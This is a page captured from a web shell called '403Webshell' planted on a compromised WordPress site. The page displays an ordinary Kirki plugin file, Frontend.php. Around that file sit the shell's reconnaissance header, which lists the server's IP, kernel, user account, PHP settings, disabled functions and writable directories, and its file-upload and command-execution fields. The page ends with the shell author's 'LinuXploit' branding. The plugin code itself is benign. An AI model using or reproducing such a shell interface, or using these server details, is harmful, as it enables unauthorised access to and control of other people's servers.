403Webshell
Server IP : 104.26.5.103  /  Your IP : 216.73.216.4
Web Server : nginx/1.27.1
System : Linux in-5 5.15.0-143-generic #153-Ubuntu SMP Fri Jun 13 19:10:45 UTC 2025 x86_64
User : arabianexpress ( 1872)
PHP Version : 8.0.30
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /storage/v9321/leapdubai/public_html/wp-content/plugins/kirki/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /storage/v9321/leapdubai/public_html/wp-content/plugins/kirki/includes/Frontend.php
<?php
/**
 * This class act like controller for Editor, Iframe, Frontend
 *
 * @package kirki
 */

namespace Kirki;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

use Kirki\Frontend\Editor;
use Kirki\Frontend\Iframe;
use Kirki\Frontend\TheFrontend;
use Kirki\Manager\TemplateRedirection;

/**
 * Frontend handler class
 */
class Frontend {

	/**
	 * Initialize the class
	 *
	 * @return void
	 */
	public function __construct() {
		new TemplateRedirection();
		$this->plugin_editor_page_or_iframe_or_the_content();
	}


	/**
	 * This action trigger when post data loaded done
	 *
	 * @param object $post WordPress post object.
	 * @return void
	 */
	public function post_loaded( $post ) {
		if ( ! HelperFunctions::user_has_editor_access() ) {
      //phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
			wp_die( __( 'Sorry, you are not allowed to access this page.', 'kirki' ) );
		}
	}

	/**
	 * Render the plugin editor page
	 *
	 * @return void
	 */
	public function plugin_editor_page_or_iframe_or_the_content() {
    //phpcs:ignore WordPress.Security.NonceVerification.Missing,WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.MissingUnslash,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
		$action                  = HelperFunctions::sanitize_text( isset( $_GET['action'] ) ? $_GET['action'] : '' );
		$staging_version         = isset( $_GET['staging_version'] ) ? intval( HelperFunctions::sanitize_text( $_GET['staging_version'] ) ) : false;
		$nonce                   = HelperFunctions::sanitize_text( isset( $_GET['nonce'] ) ? $_GET['nonce'] : 'false' );
		$preview_staging_version = ( $staging_version && wp_verify_nonce( $nonce, 'kirki_preview_staging_nonce' ) ) ? $staging_version : false;

		if ( $action === KIRKI_EDITOR_ACTION ) {
			add_action( 'the_post', array( $this, 'post_loaded' ) );

      //phpcs:ignore WordPress.Security.NonceVerification.Missing,WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.MissingUnslash,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
			$load_for = HelperFunctions::sanitize_text( isset( $_GET['load_for'] ) ? $_GET['load_for'] : '' );
			if ( $load_for === 'kirki-iframe' ) {
				new Iframe( $staging_version );
			} elseif ( $load_for === 'migration' ) {
				new TheFrontend( 'migration' );
			} else {
				new Editor();
			}
		} else {
			new TheFrontend( null, $preview_staging_version );
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit